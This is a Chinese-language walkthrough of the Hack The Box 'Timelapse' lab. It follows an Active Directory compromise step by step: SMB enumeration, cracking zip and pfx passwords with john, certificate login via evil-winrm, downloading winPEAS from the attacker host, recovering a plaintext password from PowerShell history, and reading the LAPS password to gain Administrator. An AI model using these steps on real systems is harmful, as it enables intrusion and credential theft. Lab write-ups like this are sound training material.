Hackthebox - Timelapse
靶场信息
靶场类型
信息搜集
Nmap
┌──(root💀kali)-[~/Desktop/HTB/Easy/Timelapse]
└─# nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.11.152
Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-29 02:18 EDT
Nmap scan report for 10.10.11.152
Host is up (0.55s latency).
Not shown: 65525 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-03-29 14:19:01Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after: 2022-10-25T14:25:29
|_ssl-date: 2022-03-29T14:21:28+00:00; +7h59m58s from scanner time.
| tls-alpn:
|_ http/1.1
9389/tcp open mc-nmf .NET Message Framing
49674/tcp open msrpc Microsoft Windows RPC
51354/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m57s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-03-29T14:20:18
|_ start_date: N/A
TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 556.15 ms 10.10.16.1
2 556.22 ms 10.10.11.152
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 196.57 seconds
Smb
这台机器明显有 smb，先去找一下 guest 用户的票据
enum4linux -a -u "guset" -p "" 10.10.11.152
[+] Attempting to map shares on 10.10.11.152
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//10.10.11.152/ADMIN$ Mapping: DENIED, Listing: N/A
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//10.10.11.152/C$ Mapping: DENIED, Listing: N/A
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//10.10.11.152/IPC$ [E] Can't understand response:
NT_STATUS_INVALID_INFO_CLASS listing \*
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//10.10.11.152/NETLOGON Mapping: OK Listing: DENIED
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//10.10.11.152/Shares Mapping: OK, Listing: OK
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654.
//10.10.11.152/SYSVOL Mapping: OK Listing: DENIED
该 Shares 文件夹可供阅读，让我们看看里面有些什么
┌──(root💀kali)-[~/Desktop/HTB/Easy/Timelapse]
└─# smbclient -U "guest" //10.10.11.152/Shares
Enter WORKGROUP\guest's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Mon Oct 25 11:39:15 2021
.. D 0 Mon Oct 25 11:39:15 2021
Dev D 0 Mon Oct 25 15:40:06 2021
HelpDesk D 0 Mon Oct 25 11:48:42 2021
6367231 blocks of size 4096. 2323752 blocks available
有两个文件夹，去挨个查询一下
smb: \> cd Dev
smb: \Dev\> dir
. D 0 Mon Oct 25 15:40:06 2021
.. D 0 Mon Oct 25 15:40:06 2021
winrm_backup.zip A 2611 Mon Oct 25 11:46:42 2021
6367231 blocks of size 4096. 2323752 blocks available
Dev 目录下有一个 winrm_backup.zip 压缩文件，下载下来看看
smb: \Dev\> get winrm_backup.zip
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (1.3 KiloBytes/sec) (average 1.3 KiloBytes/sec)
John
下载下来了，去查看一下
┌──(root💀kali)-[~/Desktop/HTB/Easy/Timelapse]
└─# unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
需要解压密码，咱们没有啊，使用 john 尝试爆破一下
┌──(root💀kali)-[~/Desktop/HTB/Easy/Timelapse]
└─# zip2john winrm_backup.zip > hash
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: 2b chk, TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683
┌──(root💀kali)-[~/Desktop/HTB/Easy/Timelapse]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE (2022-03-29 21:46) 3.333g/s 11578Kp/s 11578Kc/s 11578KC/s surfroxy154..supergay01
Use the "--show" option to display all of the cracked passwords reliably
Session completed
解压密码是 supremelegacy 去解压一下
┌──(root💀kali)-[~/Desktop/HTB/Easy/Timelapse]
└─# unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
inflating: legacyy_dev_auth.pfx
漏洞利用
解压出来后有一个 pfx 文件，查询了一下 pfx 可以使用 openssl 提取出私钥，去提取一下
https://www.ibm.com/docs/en/arl/9.7?topic=certification-extracting-certificate-keys-from-pfx-file
┌──(root💀kali)-[~/Desktop/HTB/Easy/Timelapse]
└─# openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out prv.key
Enter Import Password:
Mac verify error: invalid password?
提取时发现也需要密码，使用刚才 zip 爆破出来的密码尝试失败，再去爆破一下
┌──(root💀kali)-[~/Desktop/HTB/Easy/Timelapse]
└─# pfx2john legacyy_dev_auth.pfx > hashbis
┌──(root💀kali)-[~/Desktop/HTB/Easy/Timelapse]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hashbis
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 128/128 AVX 4x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:01:58 DONE (2022-03-29 21:53) 0.008414g/s 27189p/s 27189c/s 27189C/s thuglife06..thug211
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
爆破出来密码 thuglegacy，然后再去提取一下
┌──(root💀kali)-[~/Desktop/HTB/Easy/Timelapse]
└─# openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -out prv.key
Enter Import Password:
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
┌──(root💀kali)-[~/Desktop/HTB/Easy/Timelapse]
└─# openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.crt
Enter Import Password:
┌──(root💀kali)-[~/Desktop/HTB/Easy/Timelapse]
└─# ls
cert.crt hash hashbis legacyy_dev_auth.pfx nmap prv.key winrm_backup.zip
使用 evil-winrm 进行利用
┌──(root💀kali)-[~/Desktop/HTB/Easy/Timelapse]
└─# evil-winrm -i 10.10.11.152 -S -c cert.crt -k prv.key -p -u
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
Enter PEM pass phrase:
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy
成功拿到一个 user 权限
*Evil-WinRM* PS C:\Users\legacyy\Documents> type 'C:\Users\legacyy\Desktop\user.txt'
622218eb92f1c85ad186d6aee0dbdb53
成功拿到 user 权限的 flag 文件
权限提升
在本地开启一个 HTTP 服务
┌──(root💀kali)-[~/Desktop]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
使用 powershell 下载我们本地的 winPEAS.exe 辅助提权脚本
powershell "Invoke-WebRequest -UseBasicParsing 10.10.16.4/winPEASx64.exe -OutFile winPEASx64.exe"
然后运行
*Evil-WinRM* PS C:\Users\legacyy\Documents> powershell "Invoke-WebRequest -UseBasicParsing 10.10.16.4/winPEASx64.exe -OutFile winPEASx64.exe"
*Evil-WinRM* PS C:\Users\legacyy\Documents> ./winPEASx64.exe
ÉÍÍÍÍÍÍÍÍÍ͹ PowerShell Settings
PowerShell v2 Version: 2.0
PowerShell v5 Version: 5.1.17763.1
PowerShell Core Version:
Transcription Settings:
Module Logging Settings:
Scriptblock Logging Settings:
PS history file: C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
PS history size: 434B
发现了一个包含历史命令记录的文件，下载下来
download C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
然后查看一下
┌──(root💀kali)-[~/Desktop/HTB/Easy/Timelapse]
└─# cat ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
尝试使用 laps.py 来进行操作
首先将添加一个本地 DNS 解析
echo 10.10.11.152 timelapse.htb >> /etc/hosts
然后执行
┌──(root💀kali)-[~/Desktop/HTB/Easy/Timelapse]
└─# python3 laps.py -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -d timelapse.htb
DC01$:C9(3OIh923TK13J.iADjN))A
拿到了一个密码
继续使用 evil-winrm 登录
┌──(root💀kali)-[~/Desktop/HTB/Easy/Timelapse]
└─# evil-winrm -i 10.10.11.152 -S -u Administrator -p 'C9(3OIh923TK13J.iADjN))A'
Evil-WinRM shell v3.3
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
timelapse\administrator
成功拿到一个 administrator 权限
*Evil-WinRM* PS C:\users\TRX\Desktop> cat root.txt
365b8463a586a128c09558558d4deceb
成功拿到 root 权限的 flag 文件
